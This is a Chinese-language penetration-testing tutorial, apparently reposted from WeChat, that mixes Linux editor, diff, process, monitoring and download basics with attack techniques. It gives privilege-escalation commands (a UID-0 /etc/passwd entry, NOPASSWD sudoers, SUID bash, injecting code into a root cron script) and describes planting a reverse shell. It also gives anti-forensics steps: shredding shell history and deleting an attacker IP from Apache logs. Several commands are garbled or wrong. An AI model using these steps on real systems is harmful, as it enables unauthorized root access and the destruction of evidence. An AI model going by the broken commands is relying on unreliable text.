一、文本编辑器操作与提权技巧
1. nano
Nano是一个简单的文本编辑器,适合快速编辑文件。常用快捷键如下:
-
Ctrl + O:写入修改 -
Ctrl + K:剪切当前行 -
Ctrl + U:粘贴 -
Ctrl + W:搜索 -
Ctrl + X:退出 -
Ctrl + T:执行命令 -
Ctrl + C:显示当前光标位置 -
Ctrl + :替换 -
Ctrl + /:跳转到指定行号 -
Ctrl + R:读取文件
操作
# 关键操作
sudonano /etc/passwd # 添加UID=0用户实现提权
Ctrl+O → Enter → Ctrl+X # 强制保存修改
# 提权示例
testuser:x:0:0::/root:/bin/bash # 添加具有root权限的用户
2. vi/vim
vi 或 vim 是功能强大的文本编辑器,常用于修改配置文件。常用命令如下:
-
i:进入插入模式 -
a:进入附加模式 -
o:在当前行下方插入一行 -
dd:删除当前行 -
yy:复制当前行 -
p:粘贴复制的内容 -
:w:保存 -
:wq:保存并退出 -
:q!:强制退出不保存
操作
:%s/old/new/g # 全局替换敏感配置
:set nu # 显示行号定位关键代码
:w !sudo tee % # 无保存权限时强行写入
3.配置文件篡改
# 提权路径
vim /etc/sudoers # 添加 NOPASSWD 权限
chmod u+s /bin/bash # 设置SUID提权
实战技巧:
-
检查关键文件权限:ls -l /etc/passwd /etc/sudoers -
利用编辑器恢复功能:vim -r /etc/shadow 尝试恢复备份文件
二、文本比较工具
1. comm
comm 可以对比两个文件并显示差异:
-
comm scan-a.txt scan-b.txt:三列显示:左侧为仅a有的内容,中间为a有b没有的,右侧为a和b都有的内容。
-
comm -12 scan-a.txt scan-b.txt:显示a和b都包含的内容。
-
comm -23 scan-a.txt scan-b.txt:显示a有但b没有的内容。
-
comm -13 scan-a.txt scan-b.txt:显示b有但a没有的内容。
2. diff
diff 是一种强大的文件差异比较工具,常见使用方法:
-
diff -c scan-a.txt scan-b.txt:使用上下文模式显示差异。
-
diff -u scan-a.txt scan-b.txt:使用统一模式显示差异。
3. vimdiff
vimdiff 是 vim 的扩展,用于显示文件的差异,适合图形化高亮显示不同:
-
vimdiff scan-a.txt scan-b.txt:以分屏方式显示两个文件的不同内容。
常见快捷键:
-
do:从另一个窗口获取差异 -
dp:将当前窗口的差异写入到另一个窗口 -
]c:跳到下一个差异 -
[c:跳到上一个差异 -
Ctrl + w:在窗口之间切换
对比工具矩阵
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
漏洞挖掘流程
有很多开源版本的cms,经常性的打补丁更新源码,可以通过对比工具去对源码进行深度挖掘剖析,对比旧版本和新版本的代码不同,从而挖掘漏洞
下载CMS新旧版本
解压并过滤关键目录:find . -name "*.php"
对比核心文件:vimdiff v1/admin.php v2/admin.php
定位危险函数:grep -rn "exec("
三、后台进程管理
在Linux中,进程管理是重要的,尤其在渗透测试和提权阶段。
在 Shell 中,一个作业(Job)是指一个或多个进程的集合。这些进程可以是前台运行的,也可以是后台运行的。Shell 通过作业控制机制来管理这些作业,允许用户在前台和后台之间切换任务,或者暂停、恢复任务。
linux内核通过进程管理多任务,内核维护进程信息,每个进程拥有唯一的pid。
前台进程运行时,占用终端,其他命令无法运行,直到当前命令执行完成。
而后台进程不占用终端会话。
当你运行一个命令时,默认情况下它会在前台运行,占据终端,如果你想让任务在后台运行,可以在命令后面加上 & 符号。
但其实当你在ping一个ip的时候,还是会一直回显,这时我们还可以直接
ping -c ip 1000 > ping.txt
将回显内容直接写入文档,这样就可以节省时间,大大提高效率
或者ctrl+z将当前前台进程置于后台,jobs查看后台进程列表
1. 查看进程
-
ps aux:列出所有进程。
-
ps -ef:使用标准格式显示进程。
-
ps -fc :查看指定进程。
-
ps aux | grep :过滤出指定进程信息。
比如我们启动一下浏览器firefkox
ps aux | grep firefkox
ps aux | grep firefkox | kill -9 pid 结束进程
进程侦查命令
ps aux --sort=-%mem |head-10# 查看内存占用TOP10
lsof-p<PID># 分析进程打开文件
pstree -p# 可视化进程树
提权路径探测
# SUID文件检测
find / -perm-4000-type f 2>/dev/null
# 定时任务审计
crontab-l
ls-al /etc/cron* /var/spool/cron
# 服务文件篡改
systemctl list-units --type=service |grep running
经典案例:
发现以root权限运行的Python脚本:
# 原始任务
*/5 * * * * root /opt/scripts/clean_logs.py
# 提权操作
echo'import os;os.system("chmod +s /bin/bash")'>> clean_logs.py
在渗透提权阶段,通过显示所有进程,去看看有哪些基本进程,每一个进程对应一些服务程序,也会显示服务程序的权限文件路径等,如果这个文件是以root启动,而且在这个目录我当前的权限能够进行修改的话,就可以改掉一些文件,替换成木马,getshell程序,或者添加一些恶意请求注入到程序中,从而进行提权
2. 结束进程
-
kill -9 :强制结束指定进程。
3. 后台进程管理
-
Ctrl + Z:将当前前台进程置于后台。
-
jobs:查看后台进程列表。
-
bg %<job_id>:恢复后台进程。
-
fg %<job_id>:将后台进程调至前台。
四、文件监控与命令定期执行
1. 实时监控文件
-
tail -f :实时查看文件内容更新。 -
tail -n :显示文件末尾指定行数的内容。
2. 周期性执行命令
-
watch -n 5 w:每五秒执行一次 w 命令,实时查看谁在登录到系统。
例如
启动 apache服务
sudo systemctl start apache2
apache服务一旦启动起来以后,无论是kali linux还是linux访问它然后产生的日志就会在/var/log/apacge2 这个目录下的 access.log这个文件当中
tail-f access.log
admin也可以监视到,许多运维人员写一个脚本监视文档看看有谁攻击,或者一些自动化脚本,实时监控
通过这些可以知道谁访问了我的url,我url的一些路径,被谁攻击了都可以去监测到
watch -n 5 :每五秒钟执行一次指定命令,适用于实时监控。
例如:watch -n 5 w
w命令就是who的简写,这个命令就是看你这个服务器被谁连过,现在谁在连,连了多长时间,通过什么连的,也可以进行一个监控,对于一些敏感文件,都是开启全监控
通过上面我们知道有很多系统管理员习惯性开启自循环命令,比如每四秒执行一下a.sh,而且我当前的权限能够对这个脚本有写入权限的话,就可以写入这个反弹shell,写进去那么在下一个循环中这个命令就会以root权限执行我们的反弹shell链接,我们直接到kali上开启链接等着shell回弹就能直接拿到权限。
当我们进入一个系统的时候,先看看有没有root账号运行的周期化脚本,这个脚本是以root账号运行,可能都在root的一个文件夹,我当前的权限无权查看,我看不到这个脚本看不到这个目录,这时我们就可以监视进程,长时间去看有没有root权限运行的周期性执行脚本出现,我们可以去gitub上找一些小工具去监视进程,每隔一秒看看有没有什么新的进程,有就记录下来,执行脚本,第一步给予它最高权限, chmod +x a.sh
这个脚本可以自己写入一些东西让他默认将监听的内容保存在自定义文档里
watch -n 5 w ./a.sh
3.痕迹清理技巧
# 历史记录处理
shred -zu ~/.bash_history
ln /dev/null ~/.bash_history -sf
# 日志干扰
sed-i'/192.168.1.100/d' /var/log/apache2/access.log
五、文件传输与隐蔽通信
下载方法对比
|
|
|
---|---|---|
|
|
|
|
|
|
|
|
|
|
|
|
wget
wget -O url(你要下载的目标url,下载到本地)
-O:指定下载文件保存的本地文件名。
wget-O localfile.txt http://example.com/remotefile.txt
-
这会将远程文件 remotefile.txt 下载并保存为本地的 localfile.txt。 -
-o:指定日志文件名,将 wget 的输出保存到指定的日志文件中。 -
-c:支持断点续传,如果下载中断,可以从中断的地方继续下载。 -
-b:后台下载,wget 会在后台运行下载任务。 -
-r:递归下载,可以下载整个网站或目录结构。
curl
curl 是一个功能强大的命令行工具,用于与各种网络协议进行交互,支持 HTTP、HTTPS、FTP、SMTP、POP3 等多种协议。它不仅可以下载文件,还可以用于上传文件、发送 HTTP 请求等。
-
-o:指定下载文件保存的本地文件名。
例如:
curl-o localfile.txt http://example.com/remotefile.txt
-
-O:直接使用远程文件名保存文件。 -
-L:支持自动跟随重定向。 -
-X:指定请求方法(如 GET、POST、PUT 等)。
例如:
curl -X POST -d “key=value” http://example.com/api -
-H:添加自定义的 HTTP 头。 -
例如:
curl-H"Authorization: Bearer YOUR_TOKEN" http://example.com/secure
axel
axel 是一个支持多线程和断点续传的下载工具,特别适合下载大文件。它通过同时开启多个连接来加速下载。
常用选项:
-
-a:显示进度条。 -
-n:指定同时开启的线程数。 -
例如:
axel -a-n20 http://example.com/largefile.zip
-
这会使用 20 个线程同时下载文件。 -
-o:指定下载文件保存的本地文件名。
六、命令别名
命令别名是Linux系统中常见的操作,有时运维人员会在 .bashrc 或系统配置中设置别名,以提高操作效率,但也可能成为安全隐患,
-
alias <alias_name>=‘’:创建命令别名。 -
unalias <alias_name>:删除命令别名。
创建别名:
aliaslsa='ls -la'
这样,当你输入 lsa 时,系统会执行 ls -la 命令
修改内置命令的行为:
aliasmkdir='ping -c 1 localhost'
这会将 mkdir 命令替换为 ping -c 1 localhost,这样它就会覆盖系统默认的命令功能。
删除别名:
unaliasmkdir
这会删除之前创建的 mkdir 别名,恢复其默认功能。
别名持久化
-
在系统级别配置:/etc/bash.bashrc -
用户级别配置:~/.bashrc
总结
如果进行命令别名也是分为临时和永久,写入配置文件即可永久生效。
在真实环境下,一些运维人员会将命令的别名写入配置文件,这样大大方便了操作同时也增加了安全隐患,比如每次登陆数据库服务器,输入密码账户很麻烦就定义两个变量,例如mysql -u $user -p $pass,直接将密码配置文件不安全,但如果将密码账号变成环境变量进行调用同样不安全,这样其实也算是一种弱口令,所以要注意别名定义
七、渗透测试思维框架
A[信息收集] --> B{服务识别}
B --> C[版本漏洞匹配]
B --> D[配置审计]
C --> E[漏洞利用]
D --> F[权限提升]
E --> G[横向移动]
F --> G
G --> H[数据窃取]
H --> I[痕迹清理]
原文始发于微信公众号(泷羽Sec-临观):渗透测试与Linux管理系统化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论